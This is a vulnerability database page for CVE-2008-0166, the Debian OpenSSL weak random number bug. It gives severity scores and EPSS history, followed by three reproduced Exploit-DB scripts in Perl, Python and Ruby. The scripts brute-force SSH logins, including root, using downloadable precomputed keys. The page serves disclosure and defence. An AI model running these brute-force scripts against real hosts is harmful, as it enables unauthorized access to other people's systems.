CVE-2008-0166

Score / Severity

7.5

High

OWSAP

A02-Cryptographic Failures

EPSS

3.41%V4

Vector

Network

Published

2008-05-13
15h00 +00:00

Modified

2024-05-12
18h03 +00:00

Official links

CVE.org

NVD

Notifications for a CVE

Stay informed of any changes for a specific CVE.

Notifications manage

List of Notifications

Notifications for a CVE

Stay informed of any changes for a specific CVE.

Criteria applied when sending the alert: compared with the last alert sent + differences in CISA, EPSS, CVSS, CWE, Solutions, CPE.

Parameters

You can specify a title that will be retrieved in the alerts that will be sent out.

Specified here a CVE ID as CVE-2025-1234

Planning

Month

Next run calculation

Day

Weekday

Hour

Minute

Creation date

Last execution

Next execution

Functionality requiring a connection

This feature, which allows you to receive alerts, is only active when you are logged into your account.

CVE Descriptions

OpenSSL 0.9.8c-1 up to versions before 0.9.8g-9 on Debian-based operating systems uses a random number generator that generates predictable numbers, which makes it easier for remote attackers to conduct brute force guessing attacks against cryptographic keys.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-338	Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) The product uses a Pseudo-Random Number Generator (PRNG) in a security context, but the PRNG's algorithm is not cryptographically strong.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.1	7.5	HIGH	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. None There is no loss of integrity within the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. None There is no impact to availability within the impacted component. Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	nvd@nist.gov
V2	7.8		AV:N/AC:L/Au:N/C:C/I:N/A:N	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	38.27%	–	–
2022-04-03	–	–	38.27%	–	–
2023-03-12	–	–	–	1.14%	–
2023-11-26	–	–	–	1.12%	–
2024-02-11	–	–	–	8.97%	–
2024-04-14	–	–	–	7.88%	–
2024-05-19	–	–	–	9.86%	–
2024-06-02	–	–	–	9.86%	–
2024-06-30	–	–	–	8.17%	–
2024-09-08	–	–	–	9.67%	–
2024-10-20	–	–	–	11.75%	–
2024-11-24	–	–	–	11.75%	–
2024-12-22	–	–	–	20.29%	–
2025-01-05	–	–	–	19.94%	–
2025-02-09	–	–	–	20.56%	–
2025-01-19	–	–	–	19.94%	–
2025-02-16	–	–	–	20.56%	–
2025-03-18	–	–	–	–	3.01%
2025-03-30	–	–	–	–	3.01%
2025-04-15	–	–	–	–	3.01%
2025-05-01	–	–	–	–	3.41%
2025-05-01	–	–	–	–	3.41,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	97%
2022-04-03	98%
2023-03-12	83%
2023-11-26	83%
2024-02-11	94%
2024-04-14	94%
2024-05-19	95%
2024-06-02	95%
2024-06-30	94%
2024-09-08	95%
2024-10-20	95%
2024-11-24	96%
2024-12-22	96%
2025-01-05	96%
2025-02-09	96%
2025-01-19	96%
2025-02-16	96%
2025-03-18	86%
2025-03-30	85%
2025-04-15	86%
2025-05-01	87%
2025-05-01	87%

Exploit information

Exploit Database EDB-ID : 5622

Publication date : 2008-05-14 22h00 +00:00
Author : Markus Mueller
EDB Verified : Yes

the debian openssl issue leads that there are only 65.536 possible ssh keys generated, cause the only entropy is the pid of the process generating the key. This leads to that the following perl script can be used with the precalculated ssh keys to brute force the ssh login. It works if such a keys is installed on a non-patched debian or any other system manual configured to. On an unpatched system, which doesn't need to be debian, do the following: keys provided by HD Moore - http://metasploit.com/users/hdm/tools/debian-openssl/ ***E-DB Note: Mirror ~ https://github.com/g0tmi1k/debian-ssh*** 1. Download http://sugar.metasploit.com/debian_ssh_rsa_2048_x86.tar.bz2 https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2 (debian_ssh_rsa_2048_x86.tar.bz2) 2. Extract it to a directory 3. Enter into the /root/.ssh/authorized_keys a SSH RSA key with 2048 Bits, generated on an upatched debian (this is the key this exploit will break) 4. Run the perl script and give it the location to where you extracted the bzip2 mentioned. #!/usr/bin/perl my $keysPerConnect = 6; unless ($ARGV[1]) { print "Syntax : ./exploiter.pl pathToSSHPrivateKeys SSHhostToTry\n"; print "Example: ./exploiter.pl /root/keys/ 127.0.0.1\n"; print "By mm@deadbeef.de\n"; exit 0; } chdir($ARGV[0]); opendir(A, $ARGV[0]) || die("opendir"); while ($_ = readdir(A)) { chomp; next unless m,^\d+$,; push(@a, $_); if (scalar(@a) > $keysPerConnect) { system("echo ".join(" ", @a)."; ssh -l root ".join(" ", map { "-i ".$_ } @a)." ".$ARGV[1]); @a = (); } } 5. Enjoy the shell after some minutes (less than 20 minutes) Regards, Markus Mueller mm@deadbeef.de # milw0rm.com [2008-05-15]

Exploit Database EDB-ID : 5720

Publication date : 2008-05-31 22h00 +00:00
Author : WarCat team
EDB Verified : Yes

#!/bin/python # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, # MA 02110-1301, USA. ############################################################################ # Autor: hitz - WarCat team (warcat.no-ip.org) # Collaborator: pretoriano # # 1. Download https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2 (debian_ssh_rsa_2048_x86.tar.bz2) # # 2. Extract it to a directory # # 3. Execute the python script # - something like: python exploit.py /home/hitz/keys 192.168.1.240 root 22 5 # - execute: python exploit.py (without parameters) to display the help # - if the key is found, the script shows something like that: # Key Found in file: ba7a6b3be3dac7dcd359w20b4afd5143-1121 # Execute: ssh -lroot -p22 -i /home/hitz/keys/ba7a6b3be3dac7dcd359w20b4afd5143-1121 192.168.1.240 ############################################################################ import Queue import os import string import time from threading import Thread import sys #This class only has a boolean, which will be True if some thread find the key class End(): def __init__(self): self.end = False def Finish(self): self.end = True def GetEnd(self): return self.end #This is the thread class class Connection(Thread): def __init__(self,QueueDir,TheEnd,dir,host,user,port='22'): Thread.__init__(self) self.QueueDir = QueueDir self.TheEnd = TheEnd self.dir = dir self.host = host self.user = user self.port = port def run(self): while (not self.TheEnd.GetEnd()) and (not self.QueueDir.empty()): key = self.QueueDir.get() cmd = 'ssh -l ' + self.user cmd = cmd + ' -p ' + self.port cmd = cmd + ' -o PasswordAuthentication=no' cmd = cmd + ' -i ' + self.dir + '/' + key cmd = cmd + ' ' + self.host + ' exit; echo $?' pin,pout,perr = os.popen3(cmd, 'r') pin.close() #To debug descoment the next line. This will show the errors reported by ssh #print perr.read() if pout.read().lstrip().rstrip() == '0': self.TheEnd.Finish() print '' print 'Key Found in file: '+ key print 'Execute: ssh -l%s -p%s -i %s/%s %s' %(self.user,self.port,self.dir,key,self.host) print '' print '\n-OpenSSL Debian exploit- by ||WarCat team|| warcat.no-ip.org' if len(sys.argv) < 4: print './exploit.py <dir> <host> <user> [[port] [threads]]' print ' <dir>: Path to SSH privatekeys (ex. /home/john/keys) without final slash' print ' <host>: The victim host' print ' <user>: The user of the victim host' print ' [port]: The SSH port of the victim host (default 22)' print ' [threads]: Number of threads (default 4) Too big numer is bad' sys.exit(1) dir = sys.argv[1] host = sys.argv[2] user = sys.argv[3] if len(sys.argv) <= 4: port='22' threads=4 else: if len(sys.argv) <=5: port=sys.argv[4] threads = 4 else: port=sys.argv[4] threads = sys.argv[5] ListDir = os.listdir(dir) QueueDir=Queue.Queue() TheEnd = End() for i in range(len(ListDir)): if ListDir[i].find('.pub') == -1: QueueDir.put(ListDir[i]) initsize = QueueDir.qsize() tested = 0 for i in range(0,int(threads)): Connection(QueueDir,TheEnd,dir,host,user,port).start() while (not TheEnd.GetEnd()) and (not QueueDir.empty()): time.sleep(5) actsize = QueueDir.qsize() speed = (initsize - tested - actsize)/5 tested = initsize - actsize print 'Tested %i keys | Remaining %i keys | Aprox. Speed %i/sec' %(tested,actsize,speed) # milw0rm.com [2008-06-01]

Exploit Database EDB-ID : 5632

Publication date : 2008-05-15 22h00 +00:00
Author : L4teral
EDB Verified : Yes

#!/usr/bin/ruby # # Debian SSH Key Tester # L4teral <l4teral [at] gmail com> # # This tool helps to find user accounts with weak SSH keys # that should be regenerated with an unaffected version # of openssl. # # You will need the precalculated keys provided by HD Moore # See http://metasploit.com/users/hdm/tools/debian-openssl/ # for further information. # # Common Keys: # # https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5632.tar.bz2 (debian_ssh_dsa_1024_x86.tar.bz2) # https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2 (debian_ssh_rsa_2048_x86.tar.bz2) # # # Usage: # debian_openssh_key_test.rb <host> <user> <keydir> # # E-DB Note: See here for an update ~ https://github.com/offensive-security/exploitdb/pull/76/files # require 'thread' THREADCOUNT = 10 KEYSPERCONNECT = 3 queue = Queue.new threads = [] keyfiles = [] host = ARGV.shift or raise "no host given!" user = ARGV.shift or raise "no user given!" keysdir = ARGV.shift or raise "no key dir given!" Dir.new(keysdir).each do |f| if f =~ /\d+$/ then keyfiles << f queue << f end end totalkeys = queue.length currentkey = 1 THREADCOUNT.times do |i| threads << Thread.new(i) do |j| while !queue.empty? keys = [] KEYSPERCONNECT.times { keys << queue.pop unless queue.empty? } keys.map! { |f| f = File.join(keysdir, f) } keys.each do |k| puts "testing key #{currentkey}/#{totalkeys} #{k}..." currentkey += 1 end system "ssh -l #{user} -o PasswordAuthentication=no -i #{keys.join(" -i ")} #{host} \"exit\" &>/dev/null" if $? == 0 then keys.each do |k| system "ssh -l #{user} -o PasswordAuthentication=no -i #{k} #{host} \"exit\" &>/dev/null" if $? == 0 then puts "KEYFILE FOUND: \n#{k}" exit end end end end end end trap("SIGINT") do threads.each { |t| t.exit() } exit end threads.each { |t| t.join } # milw0rm.com [2008-05-16]